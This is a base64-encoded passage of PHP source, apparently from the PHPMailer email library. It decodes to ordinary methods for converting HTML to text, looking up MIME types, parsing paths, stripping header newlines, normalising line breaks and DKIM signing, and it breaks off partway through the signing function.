biBIVE1MIHN0cmluZyBpbnRvIHBsYWluIHRleHQuCiAgICAgKiBUaGlzIGlzIHVzZWQgYnkgbXNnSFRNTCgpLgogICAgICogTm90ZSAtIG9sZGVyIHZlcnNpb25zIG9mIHRoaXMgZnVuY3Rpb24gdXNlZCBhIGJ1bmRsZWQgYWR2YW5jZWQgY29udmVydGVyCiAgICAgKiB3aGljaCB3YXMgYmVlbiByZW1vdmVkIGZvciBsaWNlbnNlIHJlYXNvbnMgaW4gIzIzMi4KICAgICAqIEV4YW1wbGUgdXNhZ2U6CiAgICAgKiA8Y29kZT4KICAgICAqIC8vIFVzZSBkZWZhdWx0IGNvbnZlcnNpb24KICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwpOwogICAgICogLy8gVXNlIHlvdXIgb3duIGN1c3RvbSBjb252ZXJ0ZXIKICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwsIGZ1bmN0aW9uKCRodG1sKSB7CiAgICAgKiAgICAgJGNvbnZlcnRlciA9IG5ldyBNeUh0bWwydGV4dCgkaHRtbCk7CiAgICAgKiAgICAgcmV0dXJuICRjb252ZXJ0ZXItPmdldF90ZXh0KCk7CiAgICAgKiB9KTsKICAgICAqIDwvY29kZT4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGh0bWwgVGhlIEhUTUwgdGV4dCB0byBjb252ZXJ0CiAgICAgKiBAcGFyYW0gYm9vbGVhbnxjYWxsYWJsZSAkYWR2YW5jZWQgQW55IGJvb2xlYW4gdmFsdWUgdG8gdXNlIHRoZSBpbnRlcm5hbCBjb252ZXJ0ZXIsCiAgICAgKiAgIG9yIHByb3ZpZGUgeW91ciBvd24gY2FsbGFibGUgZm9yIGN1c3RvbSBjb252ZXJzaW9uLgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGh0bWwydGV4dCgkaHRtbCwgJGFkdmFuY2VkID0gZmFsc2UpCiAgICB7CiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCRhZHZhbmNlZCkpIHsKICAgICAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jKCRhZHZhbmNlZCwgJGh0bWwpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gaHRtbF9lbnRpdHlfZGVjb2RlKAogICAgICAgICAgICB0cmltKHN0cmlwX3RhZ3MocHJlZ19yZXBsYWNlKCcvPChoZWFkfHRpdGxlfHN0eWxlfHNjcmlwdClbXj5dKj4uKj88XC9cXDE+L3NpJywgJycsICRodG1sKSkpLAogICAgICAgICAgICBFTlRfUVVPVEVTLAogICAgICAgICAgICAkdGhpcy0+Q2hhclNldAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIE1JTUUgdHlwZSBmb3IgYSBmaWxlIGV4dGVuc2lvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGV4dCBGaWxlIGV4dGVuc2lvbgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIE1JTUUgdHlwZSBvZiBmaWxlLgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9taW1lX3R5cGVzKCRleHQgPSAnJykKICAgIHsKICAgICAgICAkbWltZXMgPSBhcnJheSgKICAgICAgICAgICAgJ3hsJyAgICA9PiAnYXBwbGljYXRpb24vZXhjZWwnLAogICAgICAgICAgICAnanMnICAgID0+ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywKICAgICAgICAgICAgJ2hxeCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWJpbmhleDQwJywKICAgICAgICAgICAgJ2NwdCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWNvbXBhY3Rwcm8nLAogICAgICAgICAgICAnYmluJyAgID0+ICdhcHBsaWNhdGlvbi9tYWNiaW5hcnknLAogICAgICAgICAgICAnZG9jJyAgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAnd29yZCcgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAneGxzeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQuc3ByZWFkc2hlZXRtbC5zaGVldCcsCiAgICAgICAgICAgICd4bHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5zcHJlYWRzaGVldG1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3BvdHgnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3Bwc3gnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnNsaWRlc2hvdycsCiAgICAgICAgICAgICdwcHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5wcmVzZW50YXRpb24nLAogICAgICAgICAgICAnc2xkeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwuc2xpZGUnLAogICAgICAgICAgICAnZG9jeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICdkb3R4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2luZ21sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3hsYW0nICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsLmFkZGluLm1hY3JvRW5hYmxlZC4xMicsCiAgICAgICAgICAgICd4bHNiJyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbC5zaGVldC5iaW5hcnkubWFjcm9FbmFibGVkLjEyJywKICAgICAgICAgICAgJ2NsYXNzJyA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RsbCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RtcycgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2V4ZScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2xoYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2x6aCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3BzZCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NlYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NvJyAgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ29kYScgICA9PiAnYXBwbGljYXRpb24vb2RhJywKICAgICAgICAgICAgJ3BkZicgICA9PiAnYXBwbGljYXRpb24vcGRmJywKICAgICAgICAgICAgJ2FpJyAgICA9PiAnYXBwbGljYXRpb24vcG9zdHNjcmlwdCcsCiAgICAgICAgICAgICdlcHMnICAgPT4gJ2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLAogICAgICAgICAgICAncHMnICAgID0+ICdhcHBsaWNhdGlvbi9wb3N0c2NyaXB0JywKICAgICAgICAgICAgJ3NtaScgICA9PiAnYXBwbGljYXRpb24vc21pbCcsCiAgICAgICAgICAgICdzbWlsJyAgPT4gJ2FwcGxpY2F0aW9uL3NtaWwnLAogICAgICAgICAgICAnbWlmJyAgID0+ICdhcHBsaWNhdGlvbi92bmQubWlmJywKICAgICAgICAgICAgJ3hscycgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsJywKICAgICAgICAgICAgJ3BwdCcgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQnLAogICAgICAgICAgICAnd2J4bWwnID0+ICdhcHBsaWNhdGlvbi92bmQud2FwLndieG1sJywKICAgICAgICAgICAgJ3dtbGMnICA9PiAnYXBwbGljYXRpb24vdm5kLndhcC53bWxjJywKICAgICAgICAgICAgJ2RjcicgICA9PiAnYXBwbGljYXRpb24veC1kaXJlY3RvcicsCiAgICAgICAgICAgICdkaXInICAgPT4gJ2FwcGxpY2F0aW9uL3gtZGlyZWN0b3InLAogICAgICAgICAgICAnZHhyJyAgID0+ICdhcHBsaWNhdGlvbi94LWRpcmVjdG9yJywKICAgICAgICAgICAgJ2R2aScgICA9PiAnYXBwbGljYXRpb24veC1kdmknLAogICAgICAgICAgICAnZ3RhcicgID0+ICdhcHBsaWNhdGlvbi94LWd0YXInLAogICAgICAgICAgICAncGhwMycgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHA0JyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJywKICAgICAgICAgICAgJ3BocCcgICA9PiAnYXBwbGljYXRpb24veC1odHRwZC1waHAnLAogICAgICAgICAgICAncGh0bWwnID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHBzJyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwLXNvdXJjZScsCiAgICAgICAgICAgICdzd2YnICAgPT4gJ2FwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoJywKICAgICAgICAgICAgJ3NpdCcgICA9PiAnYXBwbGljYXRpb24veC1zdHVmZml0JywKICAgICAgICAgICAgJ3RhcicgICA9PiAnYXBwbGljYXRpb24veC10YXInLAogICAgICAgICAgICAndGd6JyAgID0+ICdhcHBsaWNhdGlvbi94LXRhcicsCiAgICAgICAgICAgICd4aHQnICAgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd4aHRtbCcgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd6aXAnICAgPT4gJ2FwcGxpY2F0aW9uL3ppcCcsCiAgICAgICAgICAgICdtaWQnICAgPT4gJ2F1ZGlvL21pZGknLAogICAgICAgICAgICAnbWlkaScgID0+ICdhdWRpby9taWRpJywKICAgICAgICAgICAgJ21wMicgICA9PiAnYXVkaW8vbXBlZycsCiAgICAgICAgICAgICdtcDMnICAgPT4gJ2F1ZGlvL21wZWcnLAogICAgICAgICAgICAnbXBnYScgID0+ICdhdWRpby9tcGVnJywKICAgICAgICAgICAgJ2FpZicgICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmMnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmYnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ3JhbScgICA9PiAnYXVkaW8veC1wbi1yZWFsYXVkaW8nLAogICAgICAgICAgICAncm0nICAgID0+ICdhdWRpby94LXBuLXJlYWxhdWRpbycsCiAgICAgICAgICAgICdycG0nICAgPT4gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvLXBsdWdpbicsCiAgICAgICAgICAgICdyYScgICAgPT4gJ2F1ZGlvL3gtcmVhbGF1ZGlvJywKICAgICAgICAgICAgJ3dhdicgICA9PiAnYXVkaW8veC13YXYnLAogICAgICAgICAgICAnYm1wJyAgID0+ICdpbWFnZS9ibXAnLAogICAgICAgICAgICAnZ2lmJyAgID0+ICdpbWFnZS9naWYnLAogICAgICAgICAgICAnanBlZycgID0+ICdpbWFnZS9qcGVnJywKICAgICAgICAgICAgJ2pwZScgICA9PiAnaW1hZ2UvanBlZycsCiAgICAgICAgICAgICdqcGcnICAgPT4gJ2ltYWdlL2pwZWcnLAogICAgICAgICAgICAncG5nJyAgID0+ICdpbWFnZS9wbmcnLAogICAgICAgICAgICAndGlmZicgID0+ICdpbWFnZS90aWZmJywKICAgICAgICAgICAgJ3RpZicgICA9PiAnaW1hZ2UvdGlmZicsCiAgICAgICAgICAgICdlbWwnICAgPT4gJ21lc3NhZ2UvcmZjODIyJywKICAgICAgICAgICAgJ2NzcycgICA9PiAndGV4dC9jc3MnLAogICAgICAgICAgICAnaHRtbCcgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnaHRtJyAgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnc2h0bWwnID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnbG9nJyAgID0+ICd0ZXh0L3BsYWluJywKICAgICAgICAgICAgJ3RleHQnICA9PiAndGV4dC9wbGFpbicsCiAgICAgICAgICAgICd0eHQnICAgPT4gJ3RleHQvcGxhaW4nLAogICAgICAgICAgICAncnR4JyAgID0+ICd0ZXh0L3JpY2h0ZXh0JywKICAgICAgICAgICAgJ3J0ZicgICA9PiAndGV4dC9ydGYnLAogICAgICAgICAgICAndmNmJyAgID0+ICd0ZXh0L3ZjYXJkJywKICAgICAgICAgICAgJ3ZjYXJkJyA9PiAndGV4dC92Y2FyZCcsCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3RleHQveG1sJywKICAgICAgICAgICAgJ3hzbCcgICA9PiAndGV4dC94bWwnLAogICAgICAgICAgICAnbXBlZycgID0+ICd2aWRlby9tcGVnJywKICAgICAgICAgICAgJ21wZScgICA9PiAndmlkZW8vbXBlZycsCiAgICAgICAgICAgICdtcGcnICAgPT4gJ3ZpZGVvL21wZWcnLAogICAgICAgICAgICAnbW92JyAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncXQnICAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncnYnICAgID0+ICd2aWRlby92bmQucm4tcmVhbHZpZGVvJywKICAgICAgICAgICAgJ2F2aScgICA9PiAndmlkZW8veC1tc3ZpZGVvJywKICAgICAgICAgICAgJ21vdmllJyA9PiAndmlkZW8veC1zZ2ktbW92aWUnCiAgICAgICAgKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cyhzdHJ0b2xvd2VyKCRleHQpLCAkbWltZXMpKSB7CiAgICAgICAgICAgIHJldHVybiAkbWltZXNbc3RydG9sb3dlcigkZXh0KV07CiAgICAgICAgfQogICAgICAgIHJldHVybiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsKICAgIH0KCiAgICAvKioKICAgICAqIE1hcCBhIGZpbGUgbmFtZSB0byBhIE1JTUUgdHlwZS4KICAgICAqIERlZmF1bHRzIHRvICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLCBpLmUuLiBhcmJpdHJhcnkgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZSBBIGZpbGUgbmFtZSBvciBmdWxsIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSkKICAgIHsKICAgICAgICAvLyBJbiBjYXNlIHRoZSBwYXRoIGlzIGEgVVJMLCBzdHJpcCBhbnkgcXVlcnkgc3RyaW5nIGJlZm9yZSBnZXR0aW5nIGV4dGVuc2lvbgogICAgICAgICRxcG9zID0gc3RycG9zKCRmaWxlbmFtZSwgJz8nKTsKICAgICAgICBpZiAoZmFsc2UgIT09ICRxcG9zKSB7CiAgICAgICAgICAgICRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZW5hbWUsIDAsICRxcG9zKTsKICAgICAgICB9CiAgICAgICAgJHBhdGhpbmZvID0gc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lKTsKICAgICAgICByZXR1cm4gc2VsZjo6X21pbWVfdHlwZXMoJHBhdGhpbmZvWydleHRlbnNpb24nXSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBNdWx0aS1ieXRlLXNhZmUgcGF0aGluZm8gcmVwbGFjZW1lbnQuCiAgICAgKiBEcm9wLWluIHJlcGxhY2VtZW50IGZvciBwYXRoaW5mbygpLCBidXQgbXVsdGlieXRlLXNhZmUsIGNyb3NzLXBsYXRmb3JtLXNhZmUsIG9sZC12ZXJzaW9uLXNhZmUuCiAgICAgKiBXb3JrcyBzaW1pbGFybHkgdG8gdGhlIG9uZSBpbiBQSFAgPj0gNS4yLjAKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucGF0aGluZm8ucGhwIzEwNzQ2MQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIGZpbGVuYW1lIG9yIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcGFyYW0gaW50ZWdlcnxzdHJpbmcgJG9wdGlvbnMgRWl0aGVyIGEgUEFUSElORk9fKiBjb25zdGFudCwKICAgICAqICAgICAgb3IgYSBzdHJpbmcgbmFtZSB0byByZXR1cm4gb25seSB0aGUgc3BlY2lmaWVkIHBpZWNlLCBhbGxvd3MgJ2ZpbGVuYW1lJyB0byB3b3JrIG9uIFBIUCA8IDUuMgogICAgICogQHJldHVybiBzdHJpbmd8YXJyYXkKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBtYl9wYXRoaW5mbygkcGF0aCwgJG9wdGlvbnMgPSBudWxsKQogICAgewogICAgICAgICRyZXQgPSBhcnJheSgnZGlybmFtZScgPT4gJycsICdiYXNlbmFtZScgPT4gJycsICdleHRlbnNpb24nID0+ICcnLCAnZmlsZW5hbWUnID0+ICcnKTsKICAgICAgICAkcGF0aGluZm8gPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoKCclXiguKj8pW1xcXFwvXSooKFteL1xcXFxdKj8pKFwuKFteXC5cXFxcL10rPyl8KSlbXFxcXC9cLl0qJCVpbScsICRwYXRoLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDEsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2Rpcm5hbWUnXSA9ICRwYXRoaW5mb1sxXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgICAgICAkcmV0WydiYXNlbmFtZSddID0gJHBhdGhpbmZvWzJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDUsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2V4dGVuc2lvbiddID0gJHBhdGhpbmZvWzVdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDMsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2ZpbGVuYW1lJ10gPSAkcGF0aGluZm9bM107CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgc3dpdGNoICgkb3B0aW9ucykgewogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0RJUk5BTUU6CiAgICAgICAgICAgIGNhc2UgJ2Rpcm5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Rpcm5hbWUnXTsKICAgICAgICAgICAgY2FzZSBQQVRISU5GT19CQVNFTkFNRToKICAgICAgICAgICAgY2FzZSAnYmFzZW5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Jhc2VuYW1lJ107CiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRVhURU5TSU9OOgogICAgICAgICAgICBjYXNlICdleHRlbnNpb24nOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2V4dGVuc2lvbiddOwogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0ZJTEVOQU1FOgogICAgICAgICAgICBjYXNlICdmaWxlbmFtZSc6CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldFsnZmlsZW5hbWUnXTsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIHJldHVybiAkcmV0OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCBvciByZXNldCBpbnN0YW5jZSBwcm9wZXJ0aWVzLgogICAgICogWW91IHNob3VsZCBhdm9pZCB0aGlzIGZ1bmN0aW9uIC0gaXQncyBtb3JlIHZlcmJvc2UsIGxlc3MgZWZmaWNpZW50LCBtb3JlIGVycm9yLXByb25lIGFuZAogICAgICogaGFyZGVyIHRvIGRlYnVnIHRoYW4gc2V0dGluZyBwcm9wZXJ0aWVzIGRpcmVjdGx5LgogICAgICogVXNhZ2UgRXhhbXBsZToKICAgICAqIGAkbWFpbC0+c2V0KCdTTVRQU2VjdXJlJywgJ3RscycpO2AKICAgICAqICAgaXMgdGhlIHNhbWUgYXM6CiAgICAgKiBgJG1haWwtPlNNVFBTZWN1cmUgPSAndGxzJztgCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgcHJvcGVydHkgbmFtZSB0byBzZXQKICAgICAqIEBwYXJhbSBtaXhlZCAkdmFsdWUgVGhlIHZhbHVlIHRvIHNldCB0aGUgcHJvcGVydHkgdG8KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQFRPRE8gU2hvdWxkIHRoaXMgbm90IGJlIHVzaW5nIHRoZSBfX3NldCgpIG1hZ2ljIGZ1bmN0aW9uPwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRuYW1lLCAkdmFsdWUgPSAnJykKICAgIHsKICAgICAgICBpZiAocHJvcGVydHlfZXhpc3RzKCR0aGlzLCAkbmFtZSkpIHsKICAgICAgICAgICAgJHRoaXMtPiRuYW1lID0gJHZhbHVlOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ3ZhcmlhYmxlX3NldCcpIC4gJG5hbWUpOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogU3RyaXAgbmV3bGluZXMgdG8gcHJldmVudCBoZWFkZXIgaW5qZWN0aW9uLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNlY3VyZUhlYWRlcigkc3RyKQogICAgewogICAgICAgIHJldHVybiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIpLCAnJywgJHN0cikpOwogICAgfQoKICAgIC8qKgogICAgICogTm9ybWFsaXplIGxpbmUgYnJlYWtzIGluIGEgc3RyaW5nLgogICAgICogQ29udmVydHMgVU5JWCBMRiwgTWFjIENSIGFuZCBXaW5kb3dzIENSTEYgbGluZSBicmVha3MgaW50byBhIHNpbmdsZSBsaW5lIGJyZWFrIGZvcm1hdC4KICAgICAqIERlZmF1bHRzIHRvIENSTEYgKGZvciBtZXNzYWdlIGJvZGllcykgYW5kIHByZXNlcnZlcyBjb25zZWN1dGl2ZSBicmVha3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRicmVha3R5cGUgV2hhdCBraW5kIG9mIGxpbmUgYnJlYWsgdG8gdXNlLCBkZWZhdWx0cyB0byBDUkxGCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBub3JtYWxpemVCcmVha3MoJHRleHQsICRicmVha3R5cGUgPSAiXHJcbiIpCiAgICB7CiAgICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcclxufFxyfFxuKS9tcycsICRicmVha3R5cGUsICR0ZXh0KTsKICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgcHVibGljIGFuZCBwcml2YXRlIGtleSBmaWxlcyBhbmQgcGFzc3dvcmQgZm9yIFMvTUlNRSBzaWduaW5nLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGNlcnRfZmlsZW5hbWUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleV9maWxlbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAka2V5X3Bhc3MgUGFzc3dvcmQgZm9yIHByaXZhdGUga2V5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRleHRyYWNlcnRzX2ZpbGVuYW1lIE9wdGlvbmFsIHBhdGggdG8gY2hhaW4gY2VydGlmaWNhdGUKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNpZ24oJGNlcnRfZmlsZW5hbWUsICRrZXlfZmlsZW5hbWUsICRrZXlfcGFzcywgJGV4dHJhY2VydHNfZmlsZW5hbWUgPSAnJykKICAgIHsKICAgICAgICAkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUgPSAkY2VydF9maWxlbmFtZTsKICAgICAgICAkdGhpcy0+c2lnbl9rZXlfZmlsZSA9ICRrZXlfZmlsZW5hbWU7CiAgICAgICAgJHRoaXMtPnNpZ25fa2V5X3Bhc3MgPSAka2V5X3Bhc3M7CiAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlID0gJGV4dHJhY2VydHNfZmlsZW5hbWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBRdW90ZWQtUHJpbnRhYmxlLWVuY29kZSBhIERLSU0gaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fUVAoJHR4dCkKICAgIHsKICAgICAgICAkbGluZSA9ICcnOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkdHh0KTsgJGkrKykgewogICAgICAgICAgICAkb3JkID0gb3JkKCR0eHRbJGldKTsKICAgICAgICAgICAgaWYgKCgoMHgyMSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDNBKSkgfHwgJG9yZCA9PSAweDNDIHx8ICgoMHgzRSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDdFKSkpIHsKICAgICAgICAgICAgICAgICRsaW5lIC49ICR0eHRbJGldOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGxpbmUgLj0gJz0nIC4gc3ByaW50ZignJTAyWCcsICRvcmQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbGluZTsKICAgIH0KCiAgICAvKioKICAgICAqIEdlbmVyYXRlIGEgREtJTSBzaWduYXR1cmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlcgogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBES0lNIHNpZ25hdHVyZSB2YWx1ZQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9TaWduKCRzaWduSGVhZGVyKQogICAgewogICAgICAgIGlmICghZGVmaW5lZCgnUEtDUzdfVEVYVCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXh0ZW5zaW9uX21pc3NpbmcnKSAuICdvcGVuc3NsJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgIH0KICAgICAgICAkcHJpdktleVN0ciA9ICFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZykgPyAkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZyA6IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5ES0lNX3ByaXZhdGUpOwogICAgICAgIGlmICgnJyAhPSAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKSB7CiAgICAgICAgICAgICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyLCAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcHJpdktleSA9IG9wZW5zc2xfcGtleV9nZXRfcHJpdmF0ZSgkcHJpdktleVN0cik7CiAgI